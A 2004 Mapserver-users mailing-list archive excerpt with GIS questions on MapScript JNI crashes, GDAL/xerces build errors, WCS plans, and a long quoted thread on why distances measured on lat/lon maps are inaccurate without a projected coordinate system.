Originally, I had the logic that declaring any output formats in the .map file would stop the pre-defined ones from being declared at all. However, later that was changed around to "postdefine" any builtin output formats not declared (under the same name) by the user in an outputformat block. If you are concerned about the WMS 1.0.0 formats list being hardcoded, then file a bug and assign it to me. I will fix this up. If you see a need for being able to avoid pre-defined formats from showing up in the list in the capabilities then file another bug about this, but I think we should talk a bit about how to accomplish it without too much disruption. By the way, I assume that we will need a somewhat similar ability to return formats in the WCS capabilities. Presumably some of the same issues exist with the exception of the whole versioning problem. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From mountainduo at mho.com Wed Mar 3 10:07:37 2004 From: mountainduo at mho.com (mountainduo at mho.com) Date: Wed, 3 Mar 2004 11:07:37 -0700 (MST) Subject: [Mapserver-users] layerObj In-Reply-To: <20040303172037.82111.qmail@web61109.mail.yahoo.com> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> Message-ID: <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> Hello, I am working on java and mapscript. I have a dll and can create a map when i have the layers already turned on. Now i am trying to use the layerObj to change the status of a layer so it will display. here is the problem... When i call the function natively from java i always get EXCEPTION_ACCESS_VIOLATION. it seems that the layer is not in memory. I know that it finds it from getLayerByName function. The problem actually occurs in every function that tries to get or set something in the layerObj. here is section from mapscript_wrap.c and i would appreciate if you have any comments or suggestions to help get this to work: JNIEXPORT void JNICALL Java_edu_umn_gis_mapscript_mapscriptJNI_set_1layerObj_1status(JNIEnv *jenv, jclass jcls, jlong jarg1, jint jarg2) { layerObj *arg1 = (layerObj *) 0 ; int arg2 ; (void)jenv; (void)jcls; arg1 = *(layerObj **)&jarg1; arg2 = (int)jarg2; printf( "ok before setting status\n" ); if (arg1) (arg1)->status = arg2; } thanks, will From mh at svaj.dk Wed Mar 3 10:12:27 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Wed, 3 Mar 2004 19:12:27 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <7mj3pohdjfsryl7.030320041912@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From ed at topozone.com Wed Mar 3 10:25:08 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 13:25:08 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E63@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4014C.DB3C4F77 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C4014C.DB3C4F77 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection" map=20 it will not be a circle.  If you create a map with a 20-mile extent = it will=20 not be a square.
 
Maps using "geographic projection" are useless = for making=20 distance measurements; you simply cannot do them in any kind of sensible = way.  The width of the top edge (east-west) of your "20 mile" image = is=20 DIFFERENT than the width of the bottom edge.  In fact, each row of = pixels=20 running across the image has a different width in miles/feet/meters = because=20 they're all different distances from the Equator.  That's why the = set of=20 all points 8 miles from a given point is not a circle or ring; it's not = even an=20 ellipse.
 
You need to choose a projected coordinate = system in order=20 to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Distance=20 Calculation

We use TIGER data for our mapping data source. We use a geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation=20 we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using Great = Circle=20 without the distance placing the point incorrectly inside or outside the = ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C4014C.DB3C4F77-- From mapgisnewbies at yahoo.com Wed Mar 3 11:01:12 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Wed, 3 Mar 2004 11:01:12 -0800 (PST) Subject: [Mapserver-users] GDAL build errors Message-ID: <20040303190112.25761.qmail@web20730.mail.yahoo.com> Hi all, I have a question about building gdal-cvs version. When i do a configure as follow: ./configure --prefix=/usr/local/gdal --with-xerces --with-xerces-inc=/usr/local/include/xerces/include/xercesc --with-xerces-lib=/usr/local/lib/xerces/libxerces-c1_6_0.so --with-odbc --with-ogr --without-python It got compiled alright. But when I tried to make I got the following error: g++ -Wall -O2 -I/usr/local/easysoft -I/usr/local/easysoft/include -Iogrsf_frmts -I. -I../port -I../gcore -I../og r -I../port -c ogrinfo.cpp -fPIC -DPIC -o .libs/ogrinfo.o g++ -Wall -O2 -I/usr/local/easysoft -I/usr/local/easysoft/include -Iogrsf_frmts -I. -I../port -I../gcore -I../og r -I../port -c ogrinfo.cpp -o ogrinfo.o >/dev/null 2>&1 /bin/sh ../libtool --mode=link g++ ogrinfo.o ../libgdal.la -o ogrinfo g++ ogrinfo.o -o .libs/ogrinfo ../.libs/libgdal.so -L/usr/local/easysoft -L/usr/local/easysoft/lib -lodbc /usr/l ib/libjpeg.so -lpng -lz -ldl -L/usr/local/pgsql/lib -lpq -Wl,--rpath -Wl,/usr/local/gdal/lib ../.libs/libgdal.so: undefined reference to `SAXParseException::~SAXParseException(void)' ../.libs/libgdal.so: undefined reference to `SAX2XMLReaderImpl::SAX2XMLReaderImpl(void)' ../.libs/libgdal.so: undefined reference to `XMLString::transcode(char const *)' ../.libs/libgdal.so: undefined reference to `XMLPlatformUtils::Initialize(void)' ../.libs/libgdal.so: undefined reference to `SAXParseException::SAXParseException(SAXParseException const &)' ../.libs/libgdal.so: undefined reference to `XMLException type_info function' ../.libs/libgdal.so: undefined reference to `SAXParseException type_info function' collect2: ld returned 1 exit status make[1]: *** [ogrinfo] Error 1 make[1]: Leaving directory `/tmp/autotmp7/mapserver/gdal-cvs-040129/ogr' make: *** [ogr-apps] Error 2 # exit I have already put my xerces include and lib in ld.so.conf and I can find them by ldconfig. I am running out of idea actually. Could anyone help me on this build problem. Any help would be greatly appreciated. Thanks in advance! __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com From ed at topozone.com Wed Mar 3 11:19:44 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 14:19:44 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40154.7C617B17 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C40154.7C617B17 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
First, please ALWAYS reply to the entire = list. =20 That way everyone benefits from the conversation, and the first person = to answer=20 your question doesn't have to make a lifetime commitment to further=20 questions!
 
Yes, of course you can choose one projection = for your=20 entire set of data.  Or you could switch based on what you're=20 mapping.  The reason there are so many map projections is because = each has=20 different properties, and therefore does some things well and other = things less=20 well.  The classic Mercator projection is excellent if you are = navigating=20 with a compass; it is very poor if you're trying to persuade someone = that Brazil=20 is several times larger than Greenland.
 
You also need to have a feel for what level = of accuracy=20 you need for your measurements.  The UTM family of projections is = popular=20 in part because it allows fairly accurate distance measurements, does = not=20 distort shapes badly, and is easy to use.  However, you need 10 = different=20 UTM zones to cover the lower 48 states.  If you need even more = accuracy a=20 custom Transverse Mercator projection centered on the longitude of = your=20 central point would be better.
 
Mapping large areas in a single map is harder = to do in=20 an appealing way than mapping small areas, because spatial distortion = becomes=20 more obvious.
 
If you can provide a bit more detail on what = you're=20 trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data = which=20 includes the whole United States (TIGER data). Or, do I somehow have to = switch=20 based on what I am mapping? If the latter is true, then do you have a = suggestion=20 on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com>=20 wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection"=20 map it will not be a circle.  If you create a map with a 20-mile = extent=20 it will not be a square.
 
Maps using "geographic projection" are = useless for making=20 distance measurements; you simply cannot do them in any kind of = sensible=20 way.  The width of the top edge (east-west) of your "20 mile" = image is=20 DIFFERENT than the width of the bottom edge.  In fact, each row = of pixels=20 running across the image has a different width in miles/feet/meters = because=20 they're all different distances from the Equator.  That's why the = set of=20 all points 8 miles from a given point is not a circle or ring; it's = not even=20 an ellipse.
 
You need to choose a projected coordinate = system in order=20 to do reasonable distance measurements.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation=20 we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using Great = Circle=20 without the distance placing the point incorrectly inside or outside = the=20 ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C40154.7C617B17-- From bartvde at xs4all.nl Wed Mar 3 11:49:10 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 03 Mar 2004 20:49:10 +0100 Subject: [Mapserver-users] Mapserver WCS interface Message-ID: Hi list, here and there I have heard that a WCS interface is currently being developed on Mapserver. Is there any timeframe set for the WCS development, and is it already clear what its capabilities will be? What I have understood from the WCS specs until now is that a WCS service is almost free to decide which operations to support on the data, i.e. not many operations are mandatory. Any info appreciated. Best regards, Bart From mappington at yahoo.com Wed Mar 3 11:56:38 2004 From: mappington at yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 11:56:38 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> Message-ID: <20040303195638.90212.qmail@web61104.mail.yahoo.com> --0-2002709639-1078343798=:89206 Content-Type: text/plain; charset=us-ascii Ed McNierney wrote:First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off a bit. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-2002709639-1078343798=:89206 Content-Type: text/html; charset=us-ascii

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off a bit.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks.
 
 
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-2002709639-1078343798=:89206-- From mappington at yahoo.com Wed Mar 3 12:15:07 2004 From: mappington at yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 12:15:07 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> Message-ID: <20040303201507.37566.qmail@web61105.mail.yahoo.com> --0-685662255-1078344907=:37492 Content-Type: text/plain; charset=us-ascii I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-685662255-1078344907=:37492 Content-Type: text/html; charset=us-ascii
I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

